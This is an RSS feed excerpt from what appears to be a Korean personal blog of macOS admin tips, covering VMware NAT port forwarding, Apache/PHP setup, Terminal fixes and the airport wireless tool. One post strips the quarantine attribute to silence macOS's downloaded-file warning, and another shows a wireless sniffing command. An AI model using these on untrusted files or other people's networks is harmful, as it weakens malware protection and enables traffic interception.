      <category>Operating System/MacOS</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/326</guid>
      <comments>https://do9dark.tistory.com/326#entry326comment</comments>
      <pubDate>Thu, 28 Jun 2018 23:14:00 +0900</pubDate>
    </item>
    <item>
      <title>[MacOS] VMware Fusion 7 NAT 설정</title>
      <link>https://do9dark.tistory.com/329</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;b&gt;- NAT Port Forwarding 설정&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; vi /Library/Preferences/VMware\ Fusion/vmnet8/nat.conf&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;80 = 192.168.13.133:80&lt;/p&gt;&lt;p&gt;(VMware 내부 서버(192.168.13.133:80)를 외부와 연결할 수 있도록 추가)&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 473px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9968CB345AE7BE5E10&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9968CB345AE7BE5E10&quot; width=&quot;473&quot; height=&quot;23&quot; filename=&quot;001.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 505px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990515355AE7BE7C12&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990515355AE7BE7C12&quot; width=&quot;505&quot; height=&quot;86&quot; filename=&quot;002.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;b&gt;- VMware 재시작&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli --stop&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli --start&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 556px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99E067375AE7BECA34&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99E067375AE7BECA34&quot; width=&quot;556&quot; height=&quot;223&quot; filename=&quot;003.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;접속 시 내부 서버에 접근 가능(Port Forwarding)&lt;/p&gt;&lt;p&gt;http://127.0.0.1/&lt;/p&gt;</description>
      <category>Operating System/MacOS</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/329</guid>
      <comments>https://do9dark.tistory.com/329#entry329comment</comments>
      <pubDate>Wed, 27 Jun 2018 23:00:00 +0900</pubDate>
    </item>
    <item>
      <title>[MacOS] xattr 명령어와 인터넷에서 다운로드 된 파일 경고 제거</title>
      <link>https://do9dark.tistory.com/330</link>
      <description>&lt;p&gt;&lt;b&gt;xattr : display and manipulate extended attributes&lt;/b&gt;&lt;/p&gt;&lt;p&gt;xattr 명령을 이용해서 파일이나 디렉터리에 속성 내용을 관리할 수 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;- 속성 보기&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;디렉터리/파일의 속성 보기&lt;/p&gt;&lt;p&gt;Library 디렉터리에 속성 내용을 볼 수 있다.&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; xattr &amp;lt;디렉터리명/파일명&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; xattr file.dmg&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;com.apple.FinderInfo&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;- 제거 하기&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; xattr -d &amp;lt;제거할 속성&amp;gt; &amp;lt;파일명&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; xattr -d com.apple.quarantine file.dmg&lt;/p&gt;</description>
      <category>Operating System/MacOS</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/330</guid>
      <comments>https://do9dark.tistory.com/330#entry330comment</comments>
      <pubDate>Tue, 26 Jun 2018 21:30:00 +0900</pubDate>
    </item>
    <item>
      <title>[MacOS] Terminal 한글 깨짐 해결방법</title>
      <link>https://do9dark.tistory.com/167</link>
      <description>&lt;p&gt;일반적으로 터미널 환경설정에서 언어 인코딩을 Korean(EUC)로 변경해주면 해당 문제를 해결하는 경우가 많지만 간혹 한글이 ????로만 표시되는 경우에 아래와 같이 주 언어로 한국어 사용을 해주면 한글 깨짐 현상을 없앨 수 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; sudo languagesetup&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 800px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997C1C405AE7BD6E14&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997C1C405AE7BD6E14&quot; width=&quot;800&quot; height=&quot;584&quot; filename=&quot;001.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>Operating System/MacOS</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/167</guid>
      <comments>https://do9dark.tistory.com/167#entry167comment</comments>
      <pubDate>Mon, 25 Jun 2018 17:51:00 +0900</pubDate>
    </item>
    <item>
      <title>[MacOS] Airport를 이용한 무선 네트워크 관리</title>
      <link>https://do9dark.tistory.com/328</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;b&gt;- symbolic link&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;$ sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;b&gt;- 주변 무선 정보 스캔&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;$ airport -s&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;b&gt;- 자신의 무선 정보&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;$ airport -I&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;b&gt;- 도움말&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;$ airport -h&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;- 스니핑&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;airport &amp;lt;interface&amp;gt; sniff &amp;lt;channel&amp;gt;&lt;/p&gt;&lt;p&gt;$ airport en0 sniff 1&lt;/p&gt;</description>
      <category>Operating System/MacOS</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/328</guid>
      <comments>https://do9dark.tistory.com/328#entry328comment</comments>
      <pubDate>Sun, 24 Jun 2018 16:51:30 +0900</pubDate>
    </item>
    <item>
      <title>RULE</title>
      <link>https://do9dark.tistory.com/notice/331</link>
      <description>&lt;p&gt;&lt;b style=&quot;font-size: 12pt;&quot;&gt;정보&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;- 기본&lt;/b&gt;&lt;/p&gt;&lt;p&gt;글꼴: 고딕&lt;/p&gt;&lt;p&gt;크기: 10pt&lt;/p&gt;&lt;p&gt;가로폭: 900px&lt;/p&gt;&lt;p&gt;특수기호&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;keyboard&gt;key&lt;/keyboard&gt;: &amp;lt;keyboard&amp;gt;Key&amp;lt;/keyboard&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;- 대주제&lt;/b&gt;&lt;/p&gt;&lt;p&gt;효과: 굵게&lt;/p&gt;&lt;p&gt;크기: 14pt&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;- 소주제&lt;/b&gt;&lt;/p&gt;&lt;p&gt;효과: 굵게&lt;/p&gt;&lt;p&gt;크기: 12pt&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;- 강조&lt;/b&gt;&lt;/p&gt;&lt;p&gt;효과: 굵게&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;- 주석&lt;/b&gt;&lt;/p&gt;&lt;p&gt;색: #BDBDBD&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/notice/331</guid>
      <pubDate>Tue, 1 May 2018 12:00:00 +0900</pubDate>
    </item>
    <item>
      <title>[MacOS] 웹 서버 설정</title>
      <link>https://do9dark.tistory.com/325</link>
      <description>&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1. Apache2&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;1-1. Apache Version&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; httpd -v&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; apachectl -v&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99843E4F5AE7559004&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99843E4F5AE7559004&quot; width=&quot;570&quot; height=&quot;366&quot; filename=&quot;001.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;1-2. Apache HTTP Server Control Interface&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; sudo apachectl [command]&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; apachectl [command]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; sudo apachectl start&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/999DF34D5AE755A106&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F999DF34D5AE755A106&quot; width=&quot;570&quot; height=&quot;366&quot; filename=&quot;002.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://localhost/&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997FCB425AE755C505&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997FCB425AE755C505&quot; width=&quot;900&quot; height=&quot;622&quot; filename=&quot;003.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;1-3. System Level Web Root&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;The default system document root is still found at -&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;http://localhost:80/&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;The files are shared in the filing system at -&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;/Library/WebServer/Documents/&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Configuration file -&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;/etc/apache2/httpd.conf&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;1-4. User Level Web Root&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;The other web root directory which is missing by default is the ‘~/Sites’ folder in the User account. This takes a bit longer to set up but some users are very accustomed to using it.&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; mkdir ~/Sites&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;You need to make a “Sites” folder at the root level of your account and then it will work. Once you make the Sites folder you will notice that it has a unique icon which is a throwback from a few versions older. Make that folder before you set up the user configuration file described next.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 770px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/998CA34F5AE7598809&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F998CA34F5AE7598809&quot; width=&quot;770&quot; height=&quot;676&quot; filename=&quot;004.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;You have to make a few additional tweaks to get the ~/Sites folder back up and running. &lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Add a “username.conf” filed under:&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;/etc/apache2/users/&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;If you don’t already have one (very likely), then create one named by the short username of the account with the suffix .conf, its location and permissions/ownership is best tackled by using the Terminal, the text editor ‘nano‘ would be the best tool to deal with this.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Launch Terminal, (Applications/Utilities), and follow the commands below, first one gets you to the right spot, 2nd one cracks open the text editor on the command line (swap ‘username‘ with your account’s shortname, if you don’t know your account shortname type ‘whoami‘ the Terminal prompt):&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; cd /etc/apache2/users&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; sudo nano username.conf&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99861B4F5AE75A8B0B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99861B4F5AE75A8B0B&quot; width=&quot;570&quot; height=&quot;366&quot; filename=&quot;005.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Then add the content below swapping in your ‘username’ in the code below:&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&amp;lt;Directory &quot;/Users/username/Sites/&quot;&amp;gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;AllowOverride All&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;Options Indexes MultiViews FollowSymLinks&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;Require all granted&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&amp;lt;/Directory&amp;gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99AA7F4D5AE75B800C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99AA7F4D5AE75B800C&quot; width=&quot;570&quot; height=&quot;366&quot; filename=&quot;006.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Permissions on the file should be:&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; ls -l dhkim.conf&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; sudo chmod 644 dhkim.conf&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B6AC4A5AE75BF50C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B6AC4A5AE75BF50C&quot; width=&quot;570&quot; height=&quot;366&quot; filename=&quot;007.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Open the main httpd.conf and allow some modules:&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; sudo vi /etc/apache2/httpd.conf&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;And make sure these 3 modules are uncommented (the first 2 should be on a clean install):&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;LoadModule authz_core_module libexec/apache2/mod_authz_core.so&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;LoadModule authz_host_module libexec/apache2/mod_authz_host.so&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;LoadModule userdir_module libexec/apache2/mod_userdir.so&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;And also uncomment this configuration file also in httpd.conf&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;Include /private/etc/apache2/extra/httpd-userdir.conf&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Then open another Apache config file and uncomment another file:&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; sudo vi /etc/apache2/extra/httpd-userdir.conf&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;And uncomment:&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;Include /private/etc/apache2/users/*.conf&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Restart Apache for the new file to be read:&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; sudo apachectl restart&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Then this user level document root will be viewable at:&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;http://localhost/~username/&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99A8E6465AE75DEB10&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99A8E6465AE75DEB10&quot; width=&quot;900&quot; height=&quot;622&quot; filename=&quot;008.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You should only see a directory tree like structure if the folder is empty.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;1-5. Override .htaccess and allow URL Rewrites&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;If you are going to use the document root at /Library/WebServer/Documents it is a good idea to allow any .htaccess files used to override the default settings –&amp;nbsp;&lt;/p&gt;&lt;p&gt;this can be accomplished by editing the httpd.conf file and setting the AllowOverride to All and then restart Apache. This is already taken care of at the Sites level webroot by following the previous step.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; sudo vi /etc/apache2/httpd.conf&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;AllowOverride All&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Also whilst here allow URL rewrites so your permalinks look clean not ugly. Uncomment in httpd.conf&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;LoadModule rewrite_module libexec/apache2/mod_rewrite.so&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2. PHP&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;PHP 5.5.38&amp;nbsp;is loaded in the final build of OS X 10.10 Yosemite and needs to be turned on by uncommenting a line in the httpd.conf file.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; sudo vi /etc/apache2/httpd.conf&lt;/p&gt;&lt;p&gt;Uncomment the line (remove the #):&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;LoadModule php5_module libexec/apache2/libphp5.so&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Reload apache to kick in&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; sudo apachectl restart&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;To see and test PHP, create a file name it “phpinfo.php” and file it in your document root with the contents below, then view it in a browser.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9985FC4F5AE75FC611&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9985FC4F5AE75FC611&quot; width=&quot;900&quot; height=&quot;622&quot; filename=&quot;009.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;lt;?php phpinfo(); ?&amp;gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99A82D465AE75FD712&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99A82D465AE75FD712&quot; width=&quot;900&quot; height=&quot;622&quot; filename=&quot;010.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>Operating System/MacOS</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/325</guid>
      <comments>https://do9dark.tistory.com/325#entry325comment</comments>
      <pubDate>Tue, 1 May 2018 02:49:29 +0900</pubDate>
    </item>
    <item>
      <title>[MacOS] 맥 관리자 설정</title>
      <link>https://do9dark.tistory.com/324</link>
      <description>&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;1. 시스템 환경설정 이용&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;시스템 환결설정 &amp;gt; 사용자 및 그룹 선택&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 668px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/998AAB3B5AE74E7E21&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F998AAB3B5AE74E7E21&quot; width=&quot;668&quot; height=&quot;486&quot; filename=&quot;001.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;사용자 및 그룹 &amp;gt; 로그인 옵션 &amp;gt; 네트워크 계정 서버: &lt;keyboard&gt;연결...&lt;/keyboard&gt; 선택&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 668px;  height: auto; max-width: 100%;&quot;&gt;&lt;img 